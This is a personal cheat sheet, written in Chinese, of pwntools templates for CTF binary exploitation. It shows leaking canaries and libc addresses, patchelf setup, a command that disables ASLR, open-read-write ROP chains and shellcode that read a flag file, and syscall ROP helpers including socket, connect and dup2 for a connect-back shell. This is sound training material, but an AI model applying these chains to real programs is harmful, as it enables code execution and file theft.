templates

[TOC]

recv

  • canary=int(sh.recvuntil(b"00").decode(),16)
  • buffer= int(p.recv(14), 16) 两个十六进制是一个字节,但是printf函数打印是一个字符一个字符的打印,一个字符是一个字节,所以0x7ffec1484618也就是buffer的地址要接受14个字节

#关闭alsr sudo -s echo 0 > /proc/sys/kernel/randomize_va_space exit

patchelf

一篇文章搞定版本问题 一篇文章搞定C++版本问题

  • 查看.so文件的版本:strings .so文件的路径 | grep “GLIBC”
  • ldd pwn可以查看pwn文件的libc与ld文件
  • patchelf做法 1.首先把pwn文件,libc文件,ld文件放在同一个文件夹 2.patchelf –replace-needed libc.so.6 /home/zp9080/PWN/libc.so.6 ./pwn 3.patchelf –set-interpreter /home/zp9080/PWN/ld-linux-x86-64.so.2 ./pwn 4.chmod +x /home/zp9080/PWN/ld-linux-x86-64.so.2 5.chmod +x pwn 这里的路径最好用绝对路径,不然必须在这个文件夹里才可以访问,相对路径是根据运行程序的时候shell所处的目录来的 4.给libc.so文件和ld文件x权限

libc

  • puts_addr = u64(p.recvuntil(’\x7f’)[-6:].ljust(8, b’\x00’)) puts_addr=u64(io.recv(6).ljust(8,b’\x00’))
  • 三种计算libc的解法
    1. libcbase = puts_addr - libc.symbols[‘puts’] system_addr = libcbase + libc.symbols[‘system’] bin_addr = libcbase + next(libc.search(b’/bin/sh’))
    2. libc = LibcSearcher(“puts”,puts_addr) libcbase = puts_addr - libc.dump(“puts”) system_addr = libcbase + libc.dump(“system”) bin_addr = libcbase + libc.dump(“str_bin_sh”)
    3. 查询libc后手动计算

orw

有时候flag=libcbase + next(libc.search(b’flag’))找到的不是flag字符串,而是flags或者别的,这时候要自己写入flag字符串

pop_rdi=libcbase+0x2a3e5
pop_rsi=libcbase+0x2be51
pop_rdx=libcbase+0x796a2
open_addr=libcbase+libc.sym['open']
read_addr = libcbase + libc.sym['read']
write_addr=libcbase+libc.sym['write']
flag=libcbase + next(libc.search(b'flag'))
payload=p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(open_addr)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x100)+p64(read_addr)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x100)+p64(write_addr)+p64(0xdeadbeef)
#orw的题目用open打开后文件描述符一般都是3,所以这里我也用3作为参数,结果远程环境不是3,
orw_shellcode= shellcraft.open('flag')
orw_shellcode += shellcraft.read(3,0x66660200,0x100)
orw_shellcode += shellcraft.write(1,0x66660200,0x100)
sh.send(asm(orw_shellcode))
libc.address = libc_base
libc_rop = ROP(libc)
pop_rax = libc_rop.find_gadget(['pop rax','ret'])[0]
pop_rdi = libc_rop.find_gadget(['pop rdi','ret'])[0]
pop_rsi = libc_rop.find_gadget(['pop rsi','ret'])[0]
pop_rdx = libc_rop.find_gadget(['pop rdx','pop rbx','ret'])[0]
leave_ret = libc_rop.find_gadget(['leave','ret'])[0]
syscall_ret = libc_rop.find_gadget(['syscall','ret'])[0]

def syscall(rax=0, rdi=0, rsi=0, rdx=0):
    pay  = p64(pop_rax) +  p64(rax)
    pay += p64(pop_rdi) +  p64(rdi)
    pay += p64(pop_rsi) +  p64(rsi)
    pay += p64(pop_rdx) +  p64(rdx) * 2
    pay += p64(syscall_ret)
    return pay


def read_(fd, buf, count):  return syscall(0, fd, buf, count)
def write_(fd, buf, count): return syscall(1, fd, buf, count)
def open_(filename=0, modes=0, flags=0): return syscall(2, filename, modes, flags)
def dup2_(old_fd, new_fd):  return syscall(33, old_fd, new_fd)
def socket_(domain=2,TYPE=1,protocol=6): return syscall(0x29,domain, TYPE, protocol)
def connect_(fd=0,addr=0,LEN=0x10): return syscall(0x2a,fd, addr, LEN)

python中处理word,dword,qword

  • 处理两个字节,四个字节可以用如下方式,虽然python没有很细致的区分这些,但是可以通过如下方式处理
def calc_sum(payload):
    res = 0
    payload = b"fakeipheadfa" +  payload
    assert len(payload) % 2 == 0
    for i in range(len(payload) // 2):
        tmp = payload[2*i: 2*i+2]
        tmp = int.from_bytes(tmp, "little")
        res ^= tmp
    return res